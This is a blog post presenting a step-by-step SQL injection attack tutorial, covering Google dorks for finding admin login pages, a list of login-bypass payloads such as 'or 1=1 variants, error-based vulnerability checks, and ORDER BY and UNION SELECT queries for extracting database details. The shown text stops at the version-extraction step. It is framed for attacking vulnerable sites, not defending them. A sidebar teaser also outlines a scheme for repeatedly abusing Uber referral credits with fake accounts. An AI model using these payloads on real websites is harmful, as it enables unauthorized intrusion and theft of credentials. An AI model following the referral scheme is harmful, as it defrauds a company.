Skip to main content

What is SQL Injection?

What is SQL Injection?




 it is a code injection technique or method, which is used to attack data driven applications. In this attack, malicious SQL statements are inserted in entry field for execution. SQL injection attack (SQLIA) is considered one of the top web application vulnerabilities. By using SQL Injection method it is very easy to hack vulnerable website. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.
 Using SQL Injection attack method an attacker can get complete DB of website and User ID and Password can be exploded, an attacker can also Shut down My SQL Server and Server will stop working. An attacker can modify content of website and bypass login.
 Requirements :-
 • SQL Injection Dorks.
 • Vulnerable Website.
 • Firefox with Hack bar add-on.
 • Little bit understanding of SQL
 • Fresh Mind to Understand it.
 Step 1. Find Vulnerable website.
 An attacker always use Google, Bing or Yahoo search engine for searching SQL Injection Vulnerable websites using Dorks. (SQL Injection vulnerable URL is called Dorks which can be easily found in SQL Injection Vulnerable Website URL)
 First you search the admin page of vulnerable web site. For searching vulnerable web page you take the help of google . Open your google page and use following script.Use any one of the following…
 ► “inurl:admin.asp”
 ► “inurl:login/admin.asp”
 ► “inurl:admin/login.asp”
 ► “inurl:adminhome.asp”
 ► “inurl: admin.php”
 ► “inurl: login/admin.php”
 ► “inurl: admin/login.php”
 ► “inurl: login/administrator.php”
 Now you can use the following code and inject into user id and password field. For user id used admin as user id.
 And in password field use one one of the following code and some times these codes are also used for both user id as well as password.

 • test’or1–
 • ‘or 1=1#
 • 1’or’1’=’1
 • ‘)or1=1—
 • ‘or ” = ‘
 • ‘or’1’=’1
 • ‘ or ‘1’=’1
 • ‘ or 0=0 —
 • ” or 0=0 —
 • or 0=0 —
 • ‘ or 0=0 #
 • ‘or’ ‘=’
 • ‘or’1=1’
 • “) or (“a”=”a
 • ‘) or (‘a’=’a
 • ” or “a”=”a
 • ‘ or a=a–
 • or 1=1–
 • ” or 1=1–
 If found no luck with this method then try given below.
 How to Check for Vulnerability.
 To Check the Vulnerability put sigle Quote ( ) at the end of the website URL and Hit Enter.If the page remains same or Not found then its not vulnerable and if the page shows Error like this :-
 An error occurred...You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near /contentPage.php?id=8 at line 1
 This means the website is vulnerable to SQL Injection.

 Step 2. Find the number of Columns.
 Wooo hoo hoo !! We found SQL Injection Vulnerable webstie now its time to find no. of Columns present in the Database.
 To do that replace that one single quote ( ) with Order By no. Statement until you find the Error message.
 Change the no. from 1,2,3,4,5,6,7,8,9,..... Until you get an Error Message like Unknown Column
 Example:
 www.targetwebsite.com/index.php?id=8 Order by 1
 If you get an Error on Order by 9 that means the DB have 8 number of Columns

 Step 3. Find the Vulnerable Column.
 Well we have successfully discovered number of columns present in Database. let us find Vulnerable Column by using the Query Union Select columns_sequence.

 And also change the ID Value to Negative, I mean Suppose the website have this URL index.php?id=8 Change it to index.php?id=-8. Just put minus sign -before ID.

 For Eg. If the Number of Column is 11 then the query is as follow :-

 www.targetwebsite.com/index.php?id=-8 union select 1,2,3,4,5,6,7,8,9,10,11— ✔ And Once if the Query has been Executed then it will display the number of Column. Yeahh.... !!

 In the Above result, I found three vulnerable Columns 2,3

 Step 4. Finding version, Database and User.
 Now this time to find out website Database version and User Just replace Vulnerable Column no. with version()
 And now Hit Enter




I work for your profit 😊

Keep supporting🙂

Comments

Popular posts from this blog

Free Download Human: Fall Flat Game

Discover the funniest multiplayer physics puzzle platformer! In Human: Fall Flat you play as a wobbly human who keeps dreaming about surreal places filled with puzzles where he’s yet to find the exit. Exploration and creativity are key, as every option is welcome! MASTER THE WOBBLY ART OF PARKOUR You can walk (kind of straight), jump, grab anything, climb anything, carry anything. Mastering the moves will be your first delightful challenge. SOLVE MIND-BENDING PUZZLES Explore 11 open-ended levels full of challenging puzzles and hilarious distractions. Try new paths and discover all the secrets! PLAY WITH FRIENDS, FAMILY, OR TOTAL STRANGERS Work together to achieve any task - or spend hours pranking each other in the craziest ways possible. Play with up to 4 players for wacky mayhem! CUSTOMIZE YOUR CHARACTER Dress your human in dozens of silly outfits. Be a dog, ninja, princess… whatever! Mix and match with endless combinations. The worlds may be fantastical, but th...

The method to get FREE Uber rides

🔰 The method to get FREE Uber rides🔰 1. Download BlueStacks here and go to the Play Store, and download the UBER app. (To utilize this the best, you will need a real cell phone number) 2. Get a phone number confirmation on HF for $1. These numbers work on UBER and they'll confirm the number for you. - Or you can use a texting app that gives you a free number, but this doesn't work al the time. Ex. TextFree 3. Register yourself through the UBER app. 4. Go to your main UBER account, and type in the UBER Rides referral code into your new Bluestacks Uber accounts promotion section. 5. Use your first free ride, it should be a $10-20 referral. 6. WAIT! you can keep doing this.. 7. Download BSTweaker 3.12 8. Reset your GUID, go to your settings in the Bluestacks app, force stop your UBER apps and clear the data, and do it all again with a different account! 9. You'll end up with a $20 free credit to ride with your Bluestacks account, and $10-$20 credt on your...

How to Record WhatsApp Voice Messages Without Holding The Mic Button

WhatsApp is the most popular messaging app across the globe. It has over a billion active users who use it to send text messages, photos, videos and voice messages. For sharing voice messages, it has an option to record an audio message before sending. But the issue is that you need to keep holding finger on the mic button to keep recording the audio. So, users started asking for a way to record long audio messages with holding the mic button. If you do not know how to do it, keep reading. Note: Note: This feature is only available for iOS devices. Android users need to wait few more weeks to get this. WhatsApp has not given any official timeline for adding this to Android phones. Record WhatsApp Voice Messages Without Holding The Mic Button Here are steps to record WhatsApp voice messages without holding the button. Step 1: Launch WhatsApp and open the conversation where you want to send the audio message. Step 2: Now long tap the mic icon and you will see an indicator a...